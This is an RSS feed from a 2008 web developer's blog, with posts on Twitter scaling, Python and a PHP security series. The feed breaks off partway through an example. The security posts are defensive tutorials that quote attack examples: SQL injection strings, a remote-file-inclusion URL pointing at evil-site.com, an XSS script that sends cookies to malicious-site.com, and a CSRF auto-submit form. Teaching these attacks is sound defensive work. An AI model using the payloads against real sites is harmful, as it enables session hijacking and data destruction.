<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	>

<channel>
	<title>Josh on the Web</title>
	<atom:link href="http://joshduck.com/blog/feed/" rel="self" type="application/rss+xml" />
	<link>http://joshduck.com/blog</link>
	<description>It's a blog about the web, by Josh. Geddit?</description>
	<pubDate>Sun, 01 Jun 2008 22:28:50 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.5.1</generator>
	<language>en</language>
			<item>
		<title>Twitter is CRUD</title>
		<link>http://joshduck.com/blog/2008/06/02/twitter-is-crud/</link>
		<comments>http://joshduck.com/blog/2008/06/02/twitter-is-crud/#comments</comments>
		<pubDate>Sun, 01 Jun 2008 22:28:50 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Uncategorized]]></category>

		<category><![CDATA[twitter bandwagon scaling]]></category>

		<guid isPermaLink="false">http://joshduck.com/blog/2008/06/02/twitter-is-crud/</guid>
		<description><![CDATA[Any technical person is interested in solving big challenges. How to scale well (and cheaply) is one of the really big ones; and something that no one really seems to get right. I&#8217;ve read some interesting posts discussing Twitter&#8217;s problems lately (I&#8217;m a little slow to jump on this bandwagon, but like that&#8217;s going to [...]]]></description>
			<content:encoded><![CDATA[<p>Any technical person is interested in solving big challenges. How to scale well (and cheaply) is one of the really big ones; and something that no one really seems to get right. I&#8217;ve read some interesting posts <a href="http://venturebeat.com/2008/05/29/twitter-dont-blame-ruby-blame-scoble/">discussing Twitter&#8217;s problems</a> lately (I&#8217;m a little slow to jump on this bandwagon, but like that&#8217;s going to stop me). I haven&#8217;t been a Twitter-er up until now, but it&#8217;s hard to miss talk of them in the blogosphere.</p>
<p>While my first, naive, assumptions were that Twitter was a simple read/write system that could be knocked up in a week, numerous people have pointed out the many challenges that the website faces. TechCrunch has revealed that <a href="http://www.techcrunch.com/2008/04/29/end-of-speculation-the-real-twitter-usage-numbers/">Twitter handles 3 million messages</a> a day, from 200,000 active users. Many people have pointed out the fact that some Twitter users have upwards of 30,000 followers, and are themselves following that number of members themselves. This lead to the general consensus that Twitter is really just a giant messaging system, not just your basic <a href="http://en.wikipedia.org/wiki/Create%2C_read%2C_update_and_delete">CRUD</a> setup.</p>
<p>I found this conclusion to be a lot more insightful than the the usual &#8220;Rails sux&#8221; arguments that are floating around. The view was echoed by a Twitter obsessed friend the other day who asked my opinion on how a hypothetical Twitter clone could be built. He was also of the opinion that the difficult part would be creating a robust messaging system to distribute messages to storage shards and other distribution systems (SMS and any other &#8220;push&#8221; delivery mechanisms). Viewed from that perspective, it becomes an interesting engineering challenge. I&#8217;m sure that a stable system could be built without too many problems.</p>
<p>I was pretty surprised to read today that <a href="http://blog.twitter.com/2008/05/its-not-rocket-science-but-its-our-work.html">Twitter is running on a single master MySQL database</a> with just two slaves serving out reads. Ouch. If they ran smoothly then there would be no reason to doubt that the company know what they are doing. However, this is obviously not the case. Even more confusing is an <a href="http://dev.twitter.com/2008/05/youve-got-qs-weve-got-as.html">old blog post</a> in which Twitter developers reveal that their biggest problems occur when users with many followers post. I can&#8217;t really imagine what setup would account for that. It sounds like a denormalized database contained within a single physical server, which just sounds like lot of effort for little gain.</p>
<p>For a company that has just secured a second, $15 million, round of funding their performance is ridiculous. Out of a over <a href="http://www.techcrunch.com/2008/04/28/how-much-is-twitter-worth/">a dozen staff</a> they have only <a href="http://www.techcrunch.com/2008/05/15/blaine-cook-joins-todays-gillmor-gang-talks-twitter/">three or four tech guys</a>. If I were investing I&#8217;d be asking what the hell is going on. I&#8217;m not trying to pretend that Twitter would be an easy fix, I don&#8217;t envy the engineers. They have to maintain their current (failing) product while simultaneously pushing to build a completely different system behind the scenes. I&#8217;ve been there, and it&#8217;s not fun. Apart from having to siphon off precious developer time to keep the old system patched up, they have to face the uphill task of rebuilding <em>everything</em>. Having a huge user-base makes this even more difficult, as they need to get this right first try. No one is going to be happy if an updated version falls over, drops features, or is any way inferior to what they have now. It wouldn&#8217;t be surprising to see the new version of their back end systems continuously delayed far into the future.</p>
<p>It should be interesting to see how and if Twitter recovers from all of this. The user base seems to have been fairly forgiving up until now. Even I signed up knowing all the problems they have. Having many bloggers shouting their praise wont hurt them much. Even the many complaints are free press, really. I doubt an stable Twitter would have been written up on TechCrunch quite so much. They do face the threat of someone stealing their glory though. Each day they have outages is a gift to the dozens of Twitter clones that are undoubtedly out there. Just think Friendster; I&#8217;m sure they&#8217;ll be stable any time now.</p>
]]></content:encoded>
			<wfw:commentRss>http://joshduck.com/blog/2008/06/02/twitter-is-crud/feed/</wfw:commentRss>
		</item>
		<item>
		<title>A First Look at Python</title>
		<link>http://joshduck.com/blog/2008/04/11/a-first-look-at-python/</link>
		<comments>http://joshduck.com/blog/2008/04/11/a-first-look-at-python/#comments</comments>
		<pubDate>Fri, 11 Apr 2008 11:47:08 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Programming]]></category>

		<category><![CDATA[Python]]></category>

		<guid isPermaLink="false">http://joshduck.com/blog/2008/04/11/a-first-look-at-python/</guid>
		<description><![CDATA[So I&#8217;ve been looking at and using Python recently. I thought I&#8217;d share some of my thoughts for those who haven&#8217;t had a chance to play with the language yet. I&#8217;ll try to avoid a preachy OMG-I&#8217;ve-just-discovered-the-best-thing-ever post, or to simply write another Python tutorial. I&#8217;ll look at the good and bad points of the [...]]]></description>
			<content:encoded><![CDATA[<p>So I&#8217;ve been looking at and using Python recently. I thought I&#8217;d share some of my thoughts for those who haven&#8217;t had a chance to play with the language yet. I&#8217;ll try to avoid a preachy OMG-I&#8217;ve-just-discovered-the-best-thing-ever post, or to simply write another Python tutorial. I&#8217;ll look at the good and bad points of the language.I first looked at Python a month or two ago. The guy and girls over at <a href="http://reddit.com/r/programming">programming.reddit.com</a> push it as the language to end all languages, so I decided to grab a copy of the (free!) <a href="http://www.diveintopython.org/">Dive Into Python</a> book. I started putting together a smallish personal project, but with no external pressure it petered out. When a discussion came up at work (a PHP shop) on how to quickly write a reliable server daemon I pushed the idea of Python. It took a little convincing, but the results speak for themselves.</p>
<h2>Picking an Editor</h2>
<p>I believe that the editor can make a huge difference to how you perceive a new language. What might be a massively frustrating time-sapping bug in one could be pointed out and corrected be another. Python doesn&#8217;t have any kind of officially recommended editor, and it can take a few hours to really get the feel of an IDE. Picking an editor when you don&#8217;t even know a language is even worse.</p>
<p>Dive Into Python suggested using Activestate&#8217;s Pythonwin. Unfortunately this advice seems to be very dated; the IDE was functional, but basic. I appreciated the in-built debugger and auto complete, but the editor itself seemed a little too rudimentary.</p>
<p>I eventually switched over to <a href="http://www.openkomodo.com/">Open Komodo</a>, also by ActiveState. The IDE is very good and does a lot of hand-holding that newbies appreciate, like looking after whitespace issues, providing auto-complete and picking up syntax errors. It does have a few drawbacks: it&#8217;s an editor, not an IDE, so you will need to run and debug your code outside the editor. It&#8217;s missing a few basic features, like a function list, but the problems are fairly minor. It is built on Firefox&#8217;s XUL platform so perhaps we&#8217;ll see more extensions becoming available in the near future.</p>
<h2>Interactive Shell</h2>
<p>The number one tool for making Python easy for beginners would have to be the interactive shell. There have been countless times when I&#8217;ve just jumped over to the shell to test how certain Python functions work. Even copying and playing with examples in the Dive Into Python book helps you better absorb the information. In other languages testing functionality would mean I&#8217;d need to create a new file, add my code, save it to a temporary location and then execute it. The interactive shell actively encourages me to experiment with how object behave, rather than adopting a cargo-cult mentality of just using what has worked in the past.</p>
<h2>The White Space Issue</h2>
<p>Python&#8217;s use of white space seems to be a big issue amongst those that are not familiar with the language. It was one of the objections that I faced when proposing it at work. It tends to put Python in the &#8220;weird language&#8221; basket, which is unfortunate. After using the language I&#8217;d say that the white space issue is largely irrelevant.</p>
<p>It does have some negative effects. It means you&#8217;ll have to watch out for tab/space issues, but a good IDE should do that for you. It also make refactoring a little bit more difficult; I like to sometimes comment out a conditional statements, but that is not possible in Python. Sometimes I also like to indent my code for readability, for example if I&#8217;m printing out HTML I&#8217;ll indent some child elements to indicate that they are related to previous lines. Again, that&#8217;s not possible. The biggest issue I see is that there is nothing stopping you from accidentally breaking the flow of your code. If you took a Python code file and removed the whitespace you can loose meaning:</p>
<pre><code>for item in list:

if item.available:

item.update()

item.check_stock()</code></pre>
<p>It&#8217;s impossible to tell where the statements should be. Are we calling <em>check_stock </em>on every item, or just the available ones? Sure, this is contrived, but I can see something like this happening.</p>
<p>The advantages of the white space convention become very obvious very quickly. Python code is very compact. Not &#8220;what-the-hell-is-this-Perl-code-doing&#8221; compact, but actual readable compact non-ugly code. I&#8217;ve heard some people describe it as &#8220;prose&#8221;. That is going a bit far, but it is very neat and easy to read.</p>
<h2>Lists, Dicts and Tuples</h2>
<p>Python makes working with data sets incredibly easy. It has made me realise how much of my programming is actually just munging sets. Something I&#8217;d envisage as the driving part of a module can be converted from a nest of loops and conditional statements into a single line.</p>
<p>Python list comprehension is the magic that makes this happen. What makes it even better is that the code is just as readable, perhaps even more so, than the verbose multi-line version. Python&#8217;s syntax makes list invocations feel like a natural extension of for loops, meaning it is a great way to get programmers stuck in the imperative mindset on board.</p>
<pre><code>#Hmmm

new_list = []

for item in old_list:

if item % 2 == 0:

new_list.append(item * 2)

#Yay, list comprehensions sort it all out

new_list = [item * 2 for item in old_list if item % 2 == 0]</code></pre>
<p>I&#8217;ve used map and filter functions to do the same thing in the past, but the lambda functions feel like they are out of place when transforming a list.</p>
<h2>Syntactic Sugar</h2>
<p>People love to repeatedly trot out one or two new features in the blog posts they write when they&#8217;ve just discovered a language. I&#8217;m no different. However I usually end up look at these contrived examples with a skeptical &#8220;but how often do you really use that?&#8221; So I&#8217;ll do you a favour and share some features that will become second nature to you in Python.</p>
<p>Tuple (and list) unpacking is a really neat feature. It makes a lot of code very concise. In this example the <em>range</em> function returns a list of [0, 1, 2]. The values are unpacked and assigned to the three variables a, b and c.</p>
<pre><code>a, b, c = range(3)</code></pre>
<p>This gives you the cool feature of multiple return values in a way that fits into the language and doesn&#8217;t feel bolted on. Even better, it does it without needing to implement some one-off syntax to achieve it. You can use the same unpacking feature anywhere in your code. And yes, you will use it.</p>
<pre><code>data = [(1, 3), (3, 6), (4, 7)]

print [x + y for x, y in data]

#x and y are automatically unpacked</code></pre>
<p>Another neat feature is the way Python treats everything as an object. This means the following code is perfectly valid.</p>
<pre><code>"!" * 5

"Hello world".split()

", ".join(values)</code></pre>
<p>Note that join works on the string variable, not a list as you may expect. This is not as widely used as the tuple unpacking, but does have it&#8217;s place with string munging.</p>
<h2>Modules</h2>
<p>One of the (few) compliments given to PHP is that it has modules for pretty much anything. From my experience, albeit limited, with Python I&#8217;d have to say that it deserves the same accolades. The project I have been working on has made use of threads, queues, HTTP servers and clients, config and command line parsers as well as sub processes (including writing to <em>stdin </em>and reading <em>stdout</em>). Everything I&#8217;ve wanted has been available as a pre-packaged module. (OK, I lie, I wanted a HTML generator. I ended up downloading <a href="http://markup.sourceforge.net/">markup.py</a> and was up and running in a couple of minutes). Each of the pre-packaged modules seems well written too. Their components can be set up and used with little or no boilerplate and does what I need with very few exceptions.</p>
<p>The actual module system is a welcome sight for a PHP programmer. It&#8217;s a lot better than the &#8220;throw everything into the global namespace&#8221; method I&#8217;ve grown used to. It also means you can be sure that your required modules actually exist at runtime, instead of facing the prospect of your program failing mid-execution with &#8220;function X does not exist&#8221;</p>
<h2>Documentation</h2>
<p>PHP has spoilt me with its fantastic documentation. Python documentation is adequate, but it could be better. The API reference shows the functions and classes within a module, but could benefit code examples, gotchas and so on. It would also be great to find more links between related parts of the Python documentation. Usually I&#8217;ll need to supplement the Python documentation with a Google search for more information. PHP&#8217;s comment section is great in this regard. If someone posts to the documentation then they usually have something worth saying.</p>
<h2>It&#8217;s Guido</h2>
<p>One cools thing I&#8217;ve noticed when searching for Python examples is that <a href="http://www.python.org/~guido/">Guido van Rossum&#8217;s</a> name keeps appearing all over the place. I don&#8217;t know much about Guido, but it&#8217;s cool to see a language creator being so heavily involved in his creation. It is a kind of vote of confidence that makes me feel the language is worth learning.</p>
<h2>Am I a Convert?</h2>
<p>So, Python&#8217;s a great language, but am I a convert? Is this the end of PHP for me? Well, no. It&#8217;s a bit soon to be making that call. I&#8217;ve only used the language for a few weeks, and the first couple of weeks in a new project are always the most productive.</p>
<p>There are still quite a few things I like about PHP too: its documentation, easy integration with Apache and the new OO features are making it much more bearable. My knowledge and experience with PHP is not something I want to throw away on a whim. I know PHP&#8217;s strengths and weaknesses. I know exactly how far I can push it before things go bad. That knowledge is not something to underestimate. At this stage Python is still an unknown. I have no idea how will it perform in a web environment or how it will handle itself under a large load.</p>
<p>So, Python is a language that I can choose to use when appropriate. I can honestly say it&#8217;s been enjoyable so far and I&#8217;ll look forward to learning more.</p>
<h2>So You Want More?</h2>
<p>If you want to learn Python right now then check out the free <a href="http://www.diveintopython.org/">Dive Into Python</a> book.</p>
<p>If you are looking for something more lightweight, then the <a href="http://www.poromenos.org/tutorials/python">Python in Ten Minutes</a> tutorial is a good one.</p>
<p>Unfortunately I can&#8217;t find anything that fills in the gaps between these two resources. If you do know of something then please let me know by leaving a comment below.</p>
]]></content:encoded>
			<wfw:commentRss>http://joshduck.com/blog/2008/04/11/a-first-look-at-python/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Securing Your PHP Code - Databases</title>
		<link>http://joshduck.com/blog/2008/04/05/securing-your-php-code-databases/</link>
		<comments>http://joshduck.com/blog/2008/04/05/securing-your-php-code-databases/#comments</comments>
		<pubDate>Sat, 05 Apr 2008 12:05:49 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[MySQL]]></category>

		<category><![CDATA[PHP]]></category>

		<category><![CDATA[Programming]]></category>

		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://joshduck.com/blog/2008/04/05/securing-your-php-code-databases/</guid>
		<description><![CDATA[SQL injection is a well trodden topic so I won&#8217;t go into too much detail.
For those who don&#8217;t know, the problem occurs when you fail to properly escape variables being placed into your strings. For example the SQL statement "SELECT * FROM users WHERE name = '$name'" will fail if $name is set to ' [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.unixwiz.net/techtips/sql-injection.html">SQL injection</a> is a well trodden topic so I won&#8217;t go into too much detail.</p>
<p>For those who don&#8217;t know, the problem occurs when you fail to properly escape variables being placed into your strings. For example the SQL statement <code>"SELECT * FROM users WHERE name = '$name'"</code> will fail if $name is set to <code>' or '1' = '1</code>. The string will be expanded to produce <code>SELECT * FROM users WHERE name = '' or '1' = '1'</code>. This is obviously not what you wanted, and could lead to very bad results when coupled with DELETE or UPDATE queries.</p>
<p><span id="more-11"></span></p>
<p>Some database libraries (but not MySQL&#8217;s PHP extension) allow multiple SQL statements inside a single call, so if <code>$name</code> was set to <code>'; DELETE FROM USERS --</code> in the previous example the first query would be ended by the semicolon and a second query would then delete all users and open a comment so that your database will ignore any trailing characters.</p>
<h2>Magic Quotes</h2>
<p>PHP 4 introduced a feature called <a href="http://au2.php.net/magic_quotes">magic quotes</a> that was intended to combat SQL injection. It did this by automatically adding backslashes before any quotes or slashes in your scripts input ($_GET or $_POST). This is widely regarded as a major mistake, as it was tackling the issue in the wrong spot. If you&#8217;ve ever seen a page which leaves backslashes in your input (think O\&#8217;Connor) then you know what I mean.</p>
<p>Magic quotes were also a failure because developers couldn&#8217;t ever assume that they were available or turned on in a given environment. Therefore they&#8217;d need to check and manually quote values if necessary, meaning there was no added value. These days you will probably need to do the opposite and unquote values when magic quotes are enabled. The <a href="http://au2.php.net/magic_quotes">comments</a> in PHP&#8217;s manual page offer a method of doing this.</p>
<h2>A Better Solution</h2>
<p>The solution to SQL injecting is to stop thinking of SQL as a single string and start thinking of it as a command with arguments. To do this you must define the SQL statement and arguments separately. The <a href="http://au2.php.net/mysqli">MySQL Improved Extension (mysqli)</a> and <a href="http://au2.php.net/pdo">PHP Data Objects</a> library both offer prepared statements which will allow you to define a query, and then to define the values for arguments inside the query.</p>
<pre><code>$stmt = $dbh-&gt;prepare("INSERT INTO REGISTRY (name, value) VALUES (:name, :value)");
$stmt-&gt;bindValue(':name', $name);
$stmt-&gt;bind</code><code>Value</code><code>(':value', $value);
$stmt-&gt;execute();</code></pre>
<p>If you feel that prepared statements are not for you then you can still define your SQL and arguments separately. I recommend using <code><a href="http://www.php.net/sprintf">sprintf</a></code> do this.</p>
<pre><code>$sql = sprintf("SELECT * FROM user
			WHERE name = '%s'
			AND id &gt; %d",
		mysqli_real_escape_string($name, </code><code>$db</code><code>),
		mysqli_real_escape_string($id, </code><code>$db</code><code>));
</code></pre>
<p>This is a little more verbose than what you are probably used to, but it makes it easy to see when a value has not been escaped. The escape function needs your DB link because it will match the encoding that your database is using. This gives you extra security against SQL injections. I use <a href="http://www.php.net/func_get_args">func_get_args</a> and <a href="http://www.php.net/vsprintf">vsprintf</a> to create a function to do the querying and escaping in a single function.</p>
<h2>Final Tips</h2>
<p>Your final line of defence against SQL injection is to plan for the worst.</p>
<p>Make sure that the MySQL user your website is using only has the permissions it needs, and no more. You should set up a new user with INSERT, UPDATE, DELETE and SELECT permissions on your current tables only.</p>
<p>It is  a good idea to perform rolling database backups on a regular basis. This will obviously protect against database corruption, but could also make the difference between a vulnerability being a short outage or a complete loss of data.</p>
<p>You should avoid printing your SQL errors (e.g. <code>mysql_error()</code>) if your database calls fail. This can give attackers clues as to where you have errors in your code. It also looks unprofessional.</p>
<h2>Physical Access</h2>
<p>Even if your security is foolproof (which it won&#8217;t ever be) then you&#8217;re still in trouble if someone steals a physical device containing your data. Time and time again you&#8217;ll hear of someone stealing a laptop or discs containing <a href="http://news.bbc.co.uk/2/hi/uk_news/politics/7128851.stm">sensitive information</a>. Often these is no reason for the data to be in such a vulnerable location in the first place. If you do need to copy data from your secure setup then encrypting it is a very good idea.</p>
<h2>General Security Rules</h2>
<p>I hope this tutorial has made you aware of some of the security issues you&#8217;ll be up against as a PHP developer. I&#8217;d like to leave you with a few tips that aren&#8217;t specific to any security issue, but are good to keep in mind.</p>
<ul>
<li>Build on the work of others. Don&#8217;t build your own security when you can use what other, smarter, people have already done.</li>
<li>Where possible use whitelists instead of blacklists.</li>
<li>Never trust your user&#8217;s input. Ever.</li>
</ul>
<h2>Other articles in this series</h2>
<ul>
<li><a href="../securing-your-php-code-xss/">Securing Your PHP Code - XSS</a></li>
<li><a href="../securing-your-php-code-server-security/">Securing Your PHP Code - Server Security</a></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://joshduck.com/blog/2008/04/05/securing-your-php-code-databases/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Securing Your PHP Code - Server Security</title>
		<link>http://joshduck.com/blog/2008/04/05/securing-your-php-code-server-security/</link>
		<comments>http://joshduck.com/blog/2008/04/05/securing-your-php-code-server-security/#comments</comments>
		<pubDate>Sat, 05 Apr 2008 12:04:37 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[MySQL]]></category>

		<category><![CDATA[PHP]]></category>

		<category><![CDATA[Programming]]></category>

		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://joshduck.com/blog/2008/04/05/securing-your-php-code-server-sercurity/</guid>
		<description><![CDATA[When protecting your server environment you&#8217;ll want to ensure that two things happen. Firstly, you&#8217;ll want to keep your scripts from prying eyes; you want to make sure that you don&#8217;t accept input that will break your code. Secondly, and most importantly, you want to stop anyone from executing their own code on your servers.

Keeping [...]]]></description>
			<content:encoded><![CDATA[<p>When protecting your server environment you&#8217;ll want to ensure that two things happen. Firstly, you&#8217;ll want to keep your scripts from prying eyes; you want to make sure that you don&#8217;t accept input that will break your code. Secondly, and most importantly, you want to stop anyone from executing their own code on your servers.</p>
<p><span id="more-12"></span></p>
<h2>Keeping Code Private</h2>
<p>There are many reasons why you would want to keep your code from being leaked. It may contain passwords or API keys, it could give attackers an idea of where your code is vulnerable or you might just not want some idiot to nick your code and benefit from your hard work.</p>
<p>Of course everyone knows that <a href="http://en.wikipedia.org/wiki/Security_through_obscurity">security by obscurity is bad</a>, but if you have holes in your code then it&#8217;s obviously better if other people didn&#8217;t know about them.</p>
<p>The number one rookie mistake is failing to give your PHP scripts a .php extension. This may seem obvious, but lots of people seem to like naming their files something like &#8220;functions.inc&#8221; or &#8220;MyClass.class&#8221;, seemingly unaware that anyone can request those files and view the raw code.</p>
<p>As well as giving files a correct extension you also consider moving them out of your web root anyway. You don&#8217;t need them in there, and having them in a non-public path makes everything safer. If you don&#8217;t want to rearrange your site structure then you could just use .htaccess to deny all requests to your include folder. In your-site.com/includes/.htaccess</p>
<pre><code>Deny from all</code></pre>
<p>Facebook recently had a <a href="http://killersoft.com/randomstrings/2007/08/12/php-did-not-cause-facebook-code-leakage/">configuration</a> <a href="http://www.techcrunch.com/2007/08/11/facebook-source-code-leaked/">issue</a> that caused their PHP files to be sent out as plain text. It only takes one small mistake to show the entire world the code base stored in your web root.</p>
<h2>Remote Code Execution</h2>
<p>The last thing you ever want is to have an attacker run their own code on your servers. Unfortunately there are a few simple mistakes that could open your site up to this possibility.</p>
<p>Watch what you include or require. Many people use include as a shortcut in their templates. For example</p>
<pre><code>&lt;html&gt;
&lt;body&gt;
	&lt;div class="header"&gt;...&lt;/div&gt;
	&lt;?php include($_GET['page'] . &#8216;.php&#8217;); ?&gt;
&lt;/body&gt;
&lt;/html&gt;</code></pre>
<p>This is a major no-no. The first problem is that an attacker can use this vulnerability to have any file on your system output to them. <code>/etc/passwd</code>. PHP will also allow you to include files from a remote server. An attacker can use this &#8220;feature&#8221; against you a request to <code>http://www.your-site.com/index.php?page=</code><code>http://www.evil-site.com/malicious-script.php.txt</code> would force your server to download and execute code from the &#8220;evil-site.com&#8221; domain. Once that happens the user can attack your system by executing <a href="http://kestas.kuliukas.com/Webkit/">shell functions</a>.</p>
<p>If you want to use the above pattern of templating then you can easily implement a white list of safe files.</p>
<pre><code>&lt;?php
$page = $_GET['page'];
$pages = array(&#8217;index&#8217;, &#8216;about&#8217;, &#8216;404&#8242;, &#8216;help&#8217;);
if (!in_array($page, $pages)) {
	$page = &#8216;404&#8242;;
}
include(&#8221;$page.php&#8221;);
?&gt;</code></pre>
<h2>Register Globals</h2>
<p>In the early days of PHP, external variables ($_GET, $_POST) were expanded as variables directly into the global scope: a query string of &#8220;?a=foo&#8221; would create a variable called <code>$a</code> in your local scope. This is thanks to the register globals functionality. Although this could seem useful, it is <a href="http://www.php.net/register_globals">potentially dangerous</a>. You should always turn off register globals in php.ini. If you can&#8217;t edit your php.ini then add the following to your .htaccess file</p>
<pre><code>php_value register_globals 0</code></pre>
<h2>User Uploaded Files</h2>
<p>Apache is set to pass any file with a &#8220;php&#8221; extension through to PHP. This means you have to be careful when storing user-uploaded files in your public directories. You may choose to allow users to upload their own avatar. It you keep the name given to the file by the user then you could be in for some trouble.</p>
<h2>Form Validation</h2>
<p>One final word of warning: don&#8217;t be tempted to leave any data validation to the client side. You might have written a nifty JavaScript function that does everything for you, but don&#8217;t just leave it at that. You should always write your PHP validating first (and also use your database rules where possible). JavaScript validation is something you should attempt when everything else works perfectly, and should be approached as a way of speeding things up for the end user.</p>
<h2>Other articles in this series</h2>
<ul>
<li><a href="../securing-your-php-code-xss/">Securing Your PHP Code - XSS</a></li>
<li><a href="../securing-your-php-code-databases/">Securing Your PHP Code - Databases</a></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://joshduck.com/blog/2008/04/05/securing-your-php-code-server-security/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Securing Your PHP Code - XSS</title>
		<link>http://joshduck.com/blog/2008/04/05/securing-your-php-code-xss/</link>
		<comments>http://joshduck.com/blog/2008/04/05/securing-your-php-code-xss/#comments</comments>
		<pubDate>Sat, 05 Apr 2008 12:03:32 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[JavaScript]]></category>

		<category><![CDATA[PHP]]></category>

		<category><![CDATA[Programming]]></category>

		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://joshduck.com/blog/2008/04/05/securing-your-php-code-xss/</guid>
		<description><![CDATA[Today I&#8217;m going to start a three part series looking at security issues affecting web developers. The specifics apply to PHP developers, but the general concepts carry across all technologies.
Any significant website is going to consist of three core layers: the client side code (HTML and JavaScript), server code (PHP) and a storage layer (MySQL). [...]]]></description>
			<content:encoded><![CDATA[<p>Today I&#8217;m going to start a three part series looking at security issues affecting web developers. The specifics apply to PHP developers, but the general concepts carry across all technologies.</p>
<p>Any significant website is going to consist of three core layers: the client side code (HTML and JavaScript), server code (PHP) and a storage layer (MySQL). As a developer you should be aware of the security implications of each layer of technology and how you can best secure your code.</p>
<p><span id="more-10"></span></p>
<h2>What is an XSS Attack?</h2>
<p>This post is going to focuse on JavaScript and HTML. You might think that the HTML on your site  is fairly benign. Does it matter if the HTML doesn&#8217;t come out exactly the way you planned? Actually, it does. <a href="http://en.wikipedia.org/wiki/XSS">Cross-Site Scripting (XSS)</a> is the terms given to security vulnerabilities that are exploited through client site scripting.</p>
<h2>Attack Types</h2>
<p>XSS attacks fall into two categories: persistent and non-persistent. A persistent attack is one in which the attacker permanently modifies your site, just like the example below. Any user that loads the vulnerable page will be affected. A non-persistent attack is a temporary modification to the page, for example when a page prints out a variable passed to it through the query string. A non-persistent attack usually relies on some kind of social aspect from the attackers to entice the victim to visit a specially crafted URL.</p>
<p>Non-persistent attacks may also take advantage of holes in your JavaScript to write output to the page.</p>
<h2>XSS Example</h2>
<p>A simple persistent XSS session hijack attack might take the following form.</p>
<ul>
<li>You accept user input into a comment field. This is output straight to the page with no filtering.</li>
<li>Malicious user Alice sends the following comment
<pre style="margin-left: 1em"><code>Great Work!
&lt;script&gt;document.write('&lt;img src="http://malicious-site.com/capture/' + document.cookie + '" style="display:none;"&gt;');&lt;/script&gt;</code></pre>
</li>
<li>This is accepted by your site and pasted into the comments.</li>
<li>One of your members, Bob, visits the comment page while logged in.</li>
<li>His browser parses the malicious script and adds the invisible image tag to the page.</li>
<li>His browser then requests the URL of the image: http://malicious-site.com/capture/PHPSESSID=3D3c2542747972f9a08b8759eafd079d7b</li>
<li>Alice&#8217;s server logs Bob&#8217;s session cookie.</li>
<li>Alice can now use the same session cookie on our site and you&#8217;ll think she&#8217;s logged in as Bob.</li>
</ul>
<p>This is a simple session hijacking attack. You could no-doubt patch this vulnerability, but there are a whole range of vectors that malicious users can use to attack your site. You need to focus on your security from a broad perspective and make sure that you have covered absolutely every angle. It only takes one hole to circumvent all your defenses.</p>
<h2>Escaping Data</h2>
<p>The one rule to stoping attacks is simple: you need to stop trusting your users&#8217; input. Every single piece of information you receive should be trusted as suspect. This goes beyond your usually $_POST and $_GET variables to include the following.</p>
<ul>
<li>$_GET</li>
<li>$_POST</li>
<li>$_FILES</li>
<li>$_COOKIES</li>
<li>$_SERVER (variables like &#8216;REFERRER_URI&#8217; or  &#8216;USER_AGENT&#8217; are sent by the user - some attackers have been known to <a href="http://lwn.net/2001/1108/a/webalizer.php3">send bad referrer data</a> so that they can exploit admin interfaces that show referrer information).</li>
<li>Data from the DB (another developer may plug in a new data source at some stage, so you cannot ever assume that database data is escaped).</li>
<li>Anything retrieved remotely, such as a RSS feeds.</li>
</ul>
<p>That is a lot of data to sanitize. You might think that you can filter all incoming data but that&#8217;s going to lead to complications. What if you decide you need to store data from an incoming RSS feed in your DB? When you read from the datadase you&#8217;ll have already escaped it, and risk escaping it again when you read it back out. You will end up with a mass of code for escaping and un-escaping. On a project with multiple developers it will become difficult to know whether the data a block of code is dealing with is sanitized or not. The simplest solution for escaping your data is to assume that <strong>all</strong> data is unsafe and escape it at the last possible moment; when printing it out to a HTML page.</p>
<p>What we need is a function that will ensure our data is never interpreted as HTML by the client&#8217;s browser. This is given to use in the form of PHP&#8217;s <code><a href="http://www.php.net/htmlspecialchars">htmlspecialchars</a></code>. This function will replace any quote, angled bracket or ampersand with its HTML entity. <code>&lt;script&gt;</code> becomes <code>&lt;script&gt;</code>. Once you have sanitized your data then you&#8217;ve just stopped a large number of possible attacks.</p>
<p class="aside"><strong>Note:</strong> make sure you quote all HTML attributes, especially if you are using (escaped) user input in them.</p>
<pre><code>&lt;img src=foobar.gif alt=&lt;?php echo htmlentities($userTitle);?&gt; /&gt;</code></pre>
<p>Could easily turn into</p>
<pre><code>&lt;img src=foobar.gif alt= onclick=this.src=chr(68)+chr(74)+chr(74)+chr(70) /&gt;</code></pre>
<p>If you want to remove HTML tags rather than escape them then use <code><a href="http://www.php.net/striptags">striptags</a></code>. I prefer to use <code>htmlspecialchars</code> because it won&#8217;t lead to accidentally data loss, and also indicates to users who attempt to use HTML in a legitimate manor that HTML is not accepted.</p>
<h2>Allowing Some HTML</h2>
<p>At some stage you are going to encounter a situation where you want to allow users to post a limited subset of HTML. I&#8217;d suggest that you save yourself a lot of trouble - don&#8217;t ever try and filter the HTML yourself. Parsing HTML (especially badly written HTML) is an extremely hard task to do well. Regexes aren&#8217;t going to cut it. <a href="http://htmlpurifier.org/">HTML Purifier</a> seems to be the best package out there for PHP developers.</p>
<h2>Bogus Requests</h2>
<p>There is a separate class of XSS attack that uses a different and of attack. In this attack the attacker creates specially crafted POST requests that they execute on the users browser without the user being aware. On third-party-site.com an attacker inserts the following code.</p>
<pre><code>
&lt;form action="<strong>http://www.your-site.com/account/set_password.php</strong>&#8221; method=&#8221;post&#8221; id=&#8221;evilForm&#8221;&gt;
	&lt;input type=&#8221;hidden&#8221; name=&#8221;password&#8221; value=&#8221;newpass&#8221; /&gt;
&lt;/form&gt;
&lt;script&gt;document.getElementById(&#8217;evilForm).submit();&lt;/script&gt;
